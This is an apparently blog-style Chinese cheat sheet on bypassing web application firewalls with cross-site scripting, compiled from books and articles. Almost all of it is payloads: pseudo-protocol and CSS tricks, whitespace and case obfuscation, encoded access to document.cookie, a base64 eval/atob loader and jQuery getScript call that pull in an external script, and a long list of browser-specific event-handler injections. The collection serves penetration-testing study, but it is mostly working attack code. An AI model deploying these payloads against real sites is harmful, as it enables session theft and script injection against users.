XSS之绕过简单WAF总结
来源《XSS跨站脚本攻击剖析与防御》&《WEB前端技术揭秘》
一、一般测试方法
步骤:
0.总则:见框就插
1.在输入框随便输入一些简单的字符,如 aaa
,方便后续查找输出位置
2.按下F12
打开开发者模式,ctrl
+F
键,搜索 aaa
3.多数情况下是在标签的value="aaa"
中,或者独立出来包含在一些别的标签中,如div
、span
等
4.根据特定情况构造payload,一般是直接构造标签
或者闭合标签再构造
或者利用伪协议
等
二、常用技巧
- 1.JS伪协议利用
形式:javascript:[代码]
示例:<table background="javascript:alert(1)"></table>
,引号可以去掉
支持伪协议的属性有:href
,lowsrc
,bgsound
,background
,action
,dynsrc
- 2.基于黑名单的过滤
① js代码 中,利用空格
,回车
,tab键
,切记只有""
包裹的js代码才可以随便利用空格、回车、tab键,例如src="java script:xxxx"
,而这样不行:src=java script:xxxx
,而且回车、换行不支持在on事件
中使用,空格可以
js引擎特性:js语句通常以分号结尾,但是如果引擎判断一条语句完整的话,且结尾有换行符,就可以省略分号
例:
var a = 1
var b = 2;
//上述语句正确
示例:<img src="javas cript:alert(1)">
,中间为tab键
用于绕过某些XSS防护
<img src="jav ascript:alert('XSS');">
也可以对TAB编码
<img src="jav	ascript:alert('XSS');">
利用换行符拆解
<img src="jav
ascript:alert('XSS');">
利用回车拆解
<img src="jav
ascript:alert('XSS');">
② 大小写混淆
示例:<IMg SRc oNERRoR=aLERT(1)>
③ 编码绕过
暂无
④ 奇淫技巧
1.过滤引号
策略:双引号不行单引号;单引号不行不要引号;不要引号不行试试反引号 `(IE支持)
2.过滤空格
策略:/**/
,注释符号绕过;/
符号绕过;
例:<img/src/onerror=alert(1)>
3.属性关键词被过滤
策略:插入/**/
、\
、\0
示例:
//1.`/**/`
<img src="java/*/*javascript*/script/*javascript*/*/script:alert(1);">
//2.`\`、`\0`只能在css样式\js中使用,两者会被浏览器忽略
<style>
@\0im\port'\0ja\vasc\ript:alert(1)';
//此处用到了@import,详细@import解释在后面
</style>
4.`<!-- -->`注释绕过
`<!--<img src="--><img src onerror=alert(1)//">`
解释:
`<style><img src="</style><img src onerror=alert(1)//">`
解释:
5.利用 JSFuck 绕过关键词过滤
- 3.js事件执行代码
示例:<img src onerror=alert(1)>
js事件:onerror
,onclick
,onmouseover
,onkeydown
·········
其他事件查询:https://www.w3school.com.cn/tags/html_ref_eventattributes.asp
-
4.利用css跨站 (style属性或者style标签)
① 直接执行
利用的是属性中的 url ,跟伪协议相似
示例:
//1.
<div style="background-image:url(javascript:alert(1))">
//2.
<style>
body{background-image:url(javascript:alert(1));}
</style>
//3.
<div style="list-style-image:url(javascript:alert(1));">
② IE 下利用 expression
解释:expression用来吧CSS属性与js表达式关联起来,其中CSS属性可以是元素固有的属性,也可以是自定义属性,如下示例中的1、2,
示例:
//1.
<div style="width:expression(alert(1));">
//2.
<img src="#" style="xss:expression(alert(1));">
//3.
<div style="list-style-image:expression(alert(1));">
//4.
<style>
body{background-image:expression(alert(1));}
</style>
③ 引用外部css文件执行xss
示例:
//1. 利用 link 标签
<link rel="stylesheet" href="http://www.mysite.com/eval.css">
//2.利用 @import 导入
<style type="text/css"> @import url(http://www.mysite.com/eval.css);</style>
//3.@import特性--直接执行js代码
<style>
@import "javascript:alert(1)";
</style>
三、更新内容 -- 利用JS全局变量绕过XSS过滤器
原文地址:🤑利用JS全局变量绕过过滤器🤑
JavaScript全局变量在函数外部声明或通过window对象声明。可以从任何功能访问它!
全局变量有:self,document,this,top、window
<script>
self["alert"](1);
(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("2") //用注释混淆
<script>
可以调用任何JavaScript函数的全局变量有:
- window
- self
- _self
- this
- top
- parent
- frames
注意:一下例子均以 self对象 全局变量为例
进阶:
1.编码
alert(document.cookie)
//利用全局变量
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
// 利用js中支持的编码方式混淆过滤器
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)
2.创建元素
//目标节点
<script type="text/javascript" src="http://example.com/my.js"></script>
//js代码
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
5kQ2hpbGQoc2NyaXB0KTs="
)
)
其中
self["\x65\x76\x61\x6c"] --> eval()函数
self["\x61\x74\x6f\x62"] --> atob()方法 用于解码使用 base-64 编码的字符串。
一大串base64字符串为:
var head = document.getElementsByTagName('head').item(0);
var script = document.createElement('script');
script.setAttribute('type', 'text/javascript');
script.setAttribute('src','http://example.com/my.js');
head.appendChild(script);
可以创建的标签元素往往不止只一个,懂js代码的,可以自定义需要创建的元素
3.利用框架,如jQuery
1).self["$"]["jQuery方法"]("JS代码")
//①:
self["$"]["globalEval"]("alert(1)");
//编码后:
self["\x24"]
["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29");
//②:
self [“ $”] [“ getScript”]("https://example.com/my.js")
2).Object.keys()方法调用函数
Object.keys()可以根据传的 索引值 调用各种函数方法,使我们能够调用任何函数而无需使用其名称
在控制台输入 Object.keys(self) 即可查看所有self对象支持的方法
当然你也可以输入一下代码,更加直观的查看
x=0
for(i in self) {
if(typeof self[i] != '') {
console.log(i+"\n")
console.log(x)
x+=1
}
};
也可用通过这个直接查具体函数索引值
例如:查找 alert 函数
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
Object.keys(self)[145](1)
代表着 alert(1)
然后在控制台调用:
self[Object.keys(self)[145]](1)
4.如何去利用?利用点在哪里?
构造特殊的payload,绕过 waf
要是单纯的想插入到 <script>
标签中或者一些标签的事件函数中不太现实,因为网站既然都没有过滤这些敏感标签,为什么我们还要多此一举,搞得这么复杂
弄到云里雾里
四、JS中一些奇怪的函数、特性
同样是 alert(1) ,为何你如此优秀?
(alert)(1)
a=alert,a(1)
[1].map(alert)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
五、新加的内容(没有排版)
原文地址:🤑浅谈XSS绕过姿势🤑
1.US-ASCII编码
¼script¾alert(¢XSS¢)¼/script¾
2.重写绕过
当waf过滤方式为将某些关键字替换成空时,可以尝试嵌套,如过滤script关键字则可以尝试 scscriptript
3.利用上下文及注释突破字数限制
评论一:<p class="comment" title=" "><script>/*"> </p>
评论二:<p class="comment" title=" */prompt(/*"> </p>
评论三:<p class="comment" title=" */1);/*"> </p>
评论四:<p class="comment" title=" */</script>"> </p>
4.在 尖括号对 被过滤的时候
利用 // 绕过: <article><body/onload=alert(1)//</article>
此处相当于利用 // 来闭合不完整的payload,代替 > 符号
6.利用fromeCharCoded方法绕过引号限制
<img src=javascript:alert(String.fromCharCode(88,83,83))>
7.利用混淆绕过过滤器
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
8.双半开括号绕过
<iframe src=http://xss.rocks/scriptlet.html <
9.利用& JavaScript includes
<br size="&{alert('XSS')}">
10.大佬总结的一些payload
下面9个套在<script>标签中全部执行成功,当然也可以放在标签的事件属性里面
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x282\x29`]}`
setTimeout`alert\x283\x29`
setInterval`alert\x284\x29`
onerror=alert;throw 5;
'alert\x286\x29'instanceof{[Symbol.hasInstance]:eval}
onerror=eval;throw'=alert\x287\x29';
{onerror=alert}throw 8
throw/a/,Uncaught=1,g=alert,a=g+0,onerror=eval,/1/g+a[14]+[23,331,337]+a[15]
这里个看不太懂😁
{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:'',message:'alert\x2823\x29'}
由此可见,XSS要学好,JS功底少不了
六、 XSS Payload
<svg/onload=alert(1)>
<details open ontoggle=confirm(0)>
<svg><script>alert(1)</script>
等等等等
新增payload,来源HTML5Security
只测试了网页中一部分payload,在Chorme、Firefox浏览器上测试,一下测试样例代码均成功执行
<!--
#Chrome, Opera, Safari and Edge
<div onfocus="alert(1)" contenteditable tabindex="0" id="xss"></div>
<div style="-webkit-user-modify:read-write" onfocus="alert(1)" id="xss">
<div style="-webkit-user-modify:read-write-plaintext-only" onfocus="alert(1)" id="xss">
# Firefox
<div onbeforescriptexecute="alert(1)"></div>
<script>1</script>
#MSIE10/11 & Edge
<div style="-ms-scroll-limit:1px;overflow:scroll;width:1px" onscroll="alert(1)">
#MSIE10
<div contenteditable onresize="alert(1)"></div>
# MSIE11
<div onactivate="alert(1)" id="xss" style="overflow:scroll"></div>
<div onfocus="alert(1)" id="xss" style="display:table">
<div id="xss" style="-ms-block-progression:bt" onfocus="alert(1)">
<div id="xss" style="-ms-layout-flow:vertical-ideographic" onfocus="alert(1)">
<div id="xss" style="float:left" onfocus="alert(1)">
# Chrome, Opera, Safari
<style>@keyframes x{}</style>
<div style="animation-name:x" onanimationstart="alert(1)"></div>
# Chrome, Opera, Safari
<style>
div {width: 100px;}
div:target {width: 200px;}
</style>
<div id="xss" onwebkittransitionend="alert(1)" style="-webkit-transition: width .1s;"></div>
# Safari
<div style="overflow:-webkit-marquee" onscroll="alert(1)"></div>
-->
<!--<iframe srcdoc="<script>alert('XSS')</script>"></iframe>-->
<!--<input onfocus=write(1) autofocus>-->
<!--<object classid="clsid:333c7bc4-460f-11d0-bc04-0080c7055a83">-->
<!-- <param name="dataurl" value="javascript:alert('Barret李靖')">-->
<!--</object>-->
<!--<p class="comment" title=""><script>/*"></p>-->
<!--<p class="comment" title="*/prompt(/*"></p>-->
<!--<p class="comment" title="*/1);/*"></p>-->
<!--<p class="comment" title="*/</script>"></p>-->
<!--<svg><script>alert(1)</script>-->
<!--http://127.0.0.1/browser/1.php?name=<img src=x onerror=outerHTML=URL>#<img src=x onerror=alert(/xss/)>-->
<!--利用fromeCharCoded方法绕过引号限制-->
<!--<img src=javascript:alert(String.fromCharCode(88,83,83))>-->
<!-- 利用& JavaScript includes-->
<!-- <br size="&{alert('XSS')}">-->
<!--<a href="javascript: //%0a %61lert(1)">click me</a>-->
<!--<img src="1" onerror="al\u0065rt(1)" />-->
<!--<img src="1" onerror="\u0061\u006c\u0065\u0072\u0074(1)" />-->
<!--<a href="javascript: //%0a%61l\u0065rt(1)">click me</a>-->
<!--<img/src/onerror="\u0061\u006c\u0065\u0072\u0074('\u0061')">-->
<!--<img/src/onerror=\u0061\u006c\u0065\u0072\u0074(\u0061)>-->
<!-- <a><svg><path><animateMotion/onend='[1].map(alert)' dur='1s'repeatCount=1></a>-->
<!--<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>-->
<!--<input onfocus=write(1) autofocus>-->
<!--<input onblur=write(1) autofocus><input autofocus>-->
<!--<video poster=javascript:alert(1)//></video> opera 10.5+-->
<!--<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>-->
<!--<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button> opera10.5 12.0-->
<!--<video><source onerror="alert(1)">-->
<!--<video onerror="alert(1)"><source></source></video> <audio>也可以 火狐ie-->
<!--<form><button formaction="javascript:alert(1)">X</button>-->
<!--<body oninput=alert(1)><input autofocus>-->
<!--<math href="javascript:alert(1)">CLICKME</math> 火狐-->
<!--<math>
<maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction>-->
<!--<iframe srcdoc="<img src=x:x onerror=alert(1)>" />-->
<!--<picture><source srcset="x"><img onerror="alert(1)"></picture>
<picture><img srcset="x" onerror="alert(1)"></picture>
<img srcset=",,,,,x" onerror="alert(1)">-->
<!--<iframe srcdoc="<svg onload=alert(1)>⃒"></iframe>-->
<!--<a href="javascript:'<svg onload=alert(1)>⃒'">CLICK</a>-->
<!--<⃒ >⃒-->
<!--<details open ontoggle="alert(1)">-->
<!-- <frameset onload=alert(1)> iframe body 无src属性也可以触发onload事件-->
<!--<table background="javascript:alert(1)"></table> ie opera-->
<!--<!–<img src="–><img src=x onerror=alert(1)//">-->
<!--<comment><img src="</comment><img src=x onerror=alert(1)//"> ie-->
<!--<![><img src="]><img src=x onerror=alert(1)//"> 好像不行-->
<!--<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>-->
<!--<style><img src="</style><img src=x onerror=alert(1)//">-->
<!--<li style=list-style:url() onerror=alert(1)></li>
<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div> opera-->
<!--<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body> opera ie safari-->
<!--<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> ie6/9 -->
<!--<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>-->
<!--<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>-->
<!--<embed src="javascript:alert(1)"></embed> // Firefox only-->
<!--<b <script>alert(1)//</script>0</script></b> 嵌套标签失败-->
<!--<div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> ie-->
<!--<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div> ie-->
<!--[A]
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">-->
<!--[B]
<? foo="><x foo='?><script>alert(1)</script>'>">
[C]
<! foo="[[[x]]"><x foo="]foo><script>alert(1)</script>">
[D]
<% foo><x foo="%><script>alert(1)</script>">
好像不行
-->
<!--<img[a][b]src=x[d]onerror[c]=[e]"alert(1)">
[a]可接受作为标签名称/属性分隔符的字符。Firefox,Internet Explorer,Safari,Google Chrome,Opera:9,10,12,13,32,47 Internet Explorer(5-9 SM):11 [b]在属性之前忽略字符(并且不接受作为参数/属性分隔符) 。Firefox,Internet Explorer,Safari,Google Chrome,Opera:47 Internet Explorer(5-9 SM):0 ** [c]在属性名称和等号之间忽略字符。Firefox,Internet Explorer,Safari,Google Chrome,Opera:9,10,12,13,32 Internet Explorer(5-9 SM):0,11 [d]接受作为参数/属性分隔符的字符。Firefox,Internet Explorer,Safari,Google Chrome,Opera:9,10,12,13,32 Internet Explorer(5-9 SM):11 [e]等号和参数之间的字符被忽略。Firefox,Internet Explorer,Safari,Google Chrome,Opera:9,10,12,13,32 Internet Explorer(5-9 SM):0,11 *字符以十进制ASCII表索引形式给出。**有一个通用规则,即IE HTML解析器不存在未编码的空字符。
没成功
-->
<!--<a href="[a]java[b]script[c]:alert(1)">XXX</a>
URI sheme中忽略以下字符*:[a]所有提到的浏览器:9,10,13,32 IE,GC,Safari,Opera:11,12 IE,GC,Safari,FF 3.6.28↓:8 IE ,GC,Safari:1-7,14-31 Opera:160,5760,6158,8192-8202,8232,8233,8239,8287,12288 Opera 11.52↓:6159 IE(5-9 SM):0 [b] ,[c] IE,GC,Safari 4.0.3↓,FF 4-6,Opera 10.63↓:9,10,13 GC 7↓,Safari 4.0.3↓:1-8,11,12 IE(5-9 SM):0 Safari 4.0.4↑,Opera 11↑,FF 7↑:无*字符以十进制ASCII表索引形式给出。
没成功
-->
<!--<frameset onpageshow="alert(1)">-->
<!--<body onpageshow="alert(1)">-->
<!--<applet onerror="alert(1)"></applet> ie -->
<!--<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);">XXX</a></a><a href="javascript:alert(2)">XXX</a>-->
<!--<div style="\63	\06f
\0006c\00006F
\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \ or:blue;">XXX</div>-->
<!--<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script> chrome按下f12执行 火狐直接执行-->
<!--<script>history.pushState(0,0,'/i/am/somewhere_else');</script>-->
<!--<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>-->
<!--<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>-->
<!--
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" />
</a>
-->
<!--<?xml-stylesheet href="javascript:alert(1)"?><root/> opera-->
<!--<input onblur=focus() autofocus><input>-->
<!--<article><body/onload=alert(1)//</article>-->
<!--<body/onload=alert(1)//-->
<script>
// eval.call`${'alert\x281\x29'}`
// eval.call`${'alert\x282\x29'}`
// eval.apply`${[`alert\x283\x29`]}`
// setTimeout`alert\x284\x29`
// setInterval`alert\x285\x29`
// onerror=alert;throw 6;
// 'alert\x287\x29'instanceof{[Symbol.hasInstance]:eval}
// onerror=eval;throw'=alert\x288\x29';
// {onerror=alert}throw 9
</script>
<script>
// {onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:'',message:'alert\x2823\x29'}
throw/a/,Uncaught=1,g=alert,a=g+0,onerror=eval,/1/g+a[14]+[23,331,337]+a[15]
</script>
参考文章:
https://www.freebuf.com/articles/web/226719.html
https://mp.weixin.qq.com/s/Egf7sjVvviTESNYEds-pmQ
https://mp.weixin.qq.com/s/Fh8Y-xNoByQXqLQJHLLTkA